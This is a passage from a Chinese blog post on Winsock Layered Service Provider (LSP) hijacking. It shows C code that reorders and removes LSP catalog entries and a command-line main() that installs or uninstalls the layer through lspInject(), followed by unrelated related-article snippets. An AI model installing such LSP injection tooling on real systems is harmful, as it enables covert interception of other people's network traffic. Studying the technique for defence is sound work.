        if ((info[i].ProtocolChain.ChainLen <= 1) || (info[i].ProtocolChain.ChainEntries[0] != layerId))
        {
            chainId[cindex] = info[i].dwCatalogEntryId;
            cindex++;
        }
    }
 
    if (WSCWriteProviderOrder(chainId, cindex) != 0)
    {
        free(info);
        free(chainId);
        return 0;
    }
 
 
    free(info);
    free(chainId);
    return 1;
 
 
}
 
DWORD uninstall()
{
    if(findGuid()==0)
    {
        return 0;
    }
    //枚举winsock目录中的协议
    LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
    DWORD size = 0;            //大小
    DWORD num;                //数量
        DWORD Id;            
    DWORD result;
    int cc;  //作为错误码,下面2个函数的错误码地址必须提供,否则会调用失败
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    int i = 0;
 
    for (i=0; i < num; i++)
    {
        if (memcmp(&layerGuid,&info[i].ProviderId,sizeof(GUID))==0)
        {
            Id = info[i].dwCatalogEntryId;
        }
    }
    if (i<=num)
    {
        for (i = 0; i < num; i++)
        {
            if ((info[i].ProtocolChain.ChainLen>1)&&(info[i].ProtocolChain.ChainEntries[0]==Id))
            {
 
                if((result=WSCDeinstallProvider(&info[i].ProviderId, &cc))==SOCKET_ERROR)
                {
                    
                    free(info);
                    return 0;
                }
                break;
            }
        }
       free(info); 
        if((result=WSCDeinstallProvider(&layerGuid,  &cc))==SOCKET_ERROR)
        {return 0;
        }
    }
    else
    {
     free(info);
        return 0;    
    }return 1;
}
int main(int argc, char** argv)
{
    setlocale(LC_ALL, "chs");
    int result;
    if (argc!=2)
    {
        printf("usage:%s install or uninstall\n", argv[0]);
        return 0;
    }
    if (strcmp(argv[1],"install")==0)
    {
        if (lspInject())
        {
            printf("install success\n");
        }
        else
        {
            printf("install error code is %d\n", GetLastError());
        }
    }
    else if(strcmp(argv[1], "uninstall") == 0)
    {
        if (uninstall())
        {
            printf("uninstall success\n");
        }
        else
        {
            printf("uninstall error code is %d\n", GetLastError());
        }
    }
 
    return 1;
 
}

结语

待续…………有空再更新!!!

官方网站

www.CHWM.vip

标签:info,协议,ProtocolChain,return,Hijacking,Service,int,Layered,pProtoInfo
From: https://www.cnblogs.com/RainbowTechnology/p/17965944

相关文章

  • day34 基于ServiceEntry,Sidecar,Envoy Filter实战场--深入剖析Istio的安全策略(10.8-10.
    10.8-1-基于ServiceEntry,Sidecar,EnvoyFilter实战场一、ServiceEntry实战场景1.1部署Istio提供的sleep示例istioctlkube-inject-fsamples/sleep/sleep.yaml|kubectlapply-f-1.2部署busybox#busybox-dp.yamlapiVersion:v1kind:Servicemetadata:name:busybo......
  • 使用Service CRUD接口
    使用ServiceCRUD接口1.在service接口中继承IServiceimportcom.baomidou.mybatisplus.extension.service.IService;importcom.xianhuo.xianhuobackend.entity.*;publicinterfaceProductServiceextendsIService<Product>{}IService,T为实体类2.在service接口的实......
  • K8s核心技术-Service-三种类型
    KubernetesService是一种抽象层,用于暴露应用程序的网络服务。它可以将应用程序的网络接口与底层的Pod运行实例进行关联,从而实现负载均衡和服务发现。KubernetesService提供了三种类型来满足不同的需求:ClusterIP:这是Service的默认类型。它将为每个Service分配一个无法从集......
  • NullInjectorError: R3InjectorError(AccountModule)[ModalHelper -> NzModalService
    异常: 出现异常背景:增加包@delon/chart后运行项目出现此异常 解决方法:造成的原因是出现了不同版本的ng-zorro-antd方式一:删除项目下node_modules、package-lock.json或yarn.lock文件后重新安装依赖方式二:找到package.json中定义以外的ng-zorro-antd版本删除,此处发现......
  • 5.k8s Service四层负载:服务端口暴露
    题目一:暴露服务service设置配置环境:[candidate@node-1]$kubectlconfiguse-contextk8sTask请重新配置现有的deploymentfront-end以及添加名为http的端口规范来公开现有容器nginx的端口80/tcp。创建一个名为front-end-svc的新service,以公开容器端口http。......
  • 当创建一个service后,kubernetes会发生什么?
    本文分享自华为云社区《当创建一个service后,kubernetes会发生什么?》,作者:可以交个朋友。一、Service介绍1.1Kubernetes为什么会引入service?考虑到集群中Pod实例IP地址随着工作负载的生命周期的变化,常规通过访问Pod实例的IP方法变得不再实用。每个工作负载通常有一个或者更多个后端......
  • 创建service后,kubernetes会发生什么
    本文分享自华为云社区《当创建一个service后,kubernetes会发生什么?》,作者:可以交个朋友。一、Service介绍1.1Kubernetes为什么会引入service?考虑到集群中Pod实例IP地址随着工作负载的生命周期的变化,常规通过访问Pod实例的IP方法变得不再实用。每个工作负载通常有一个或者更多......
  • 11-K8 Service:轻松搞定服务发现和负载均衡 (copy)
    经过前面几节课的学习,我们已经可以发布高可用的业务了,通过PV持久化地保存数据,通过Deployment或Statefulset这类工作负载来管理多实例,从而保证服务的高可用。想一想,这个时候如果有别的应用来访问我们的服务的话,该怎么办呢?直接访问后端的PodIP吗?不,这里我们还需要做服务发现(S......
  • 快速掌握服务网格系列二:云原生、K8S、服务网格(Service Mesh)及微服务之间的关系
    快速掌握服务网格系列二:云原生、K8S、服务网格(ServiceMesh)及微服务之间的关系首先看下CNCF对云原生的定义:Cloudnativetechnologiesempowerorganizationstobuildandrunscalableapplicationsinmodern,dynamicenvironmentssuchaspublic,private,andhybridcl......
  • 【Azure App Service】如何来停止 App Service 的高级工具站点 Kudu ?
    问题描述如何来停止AppService的高级工具站点Kudu?kudu介绍Kudu提供了一组面向开发人员的工具和扩展点,用于您的应用服务应用程序.Kudu(AdvancedTools)providesacollectionofdeveloperorientedtoolsandextensibilitypointsforyourAppServiceApps. 问题解答A......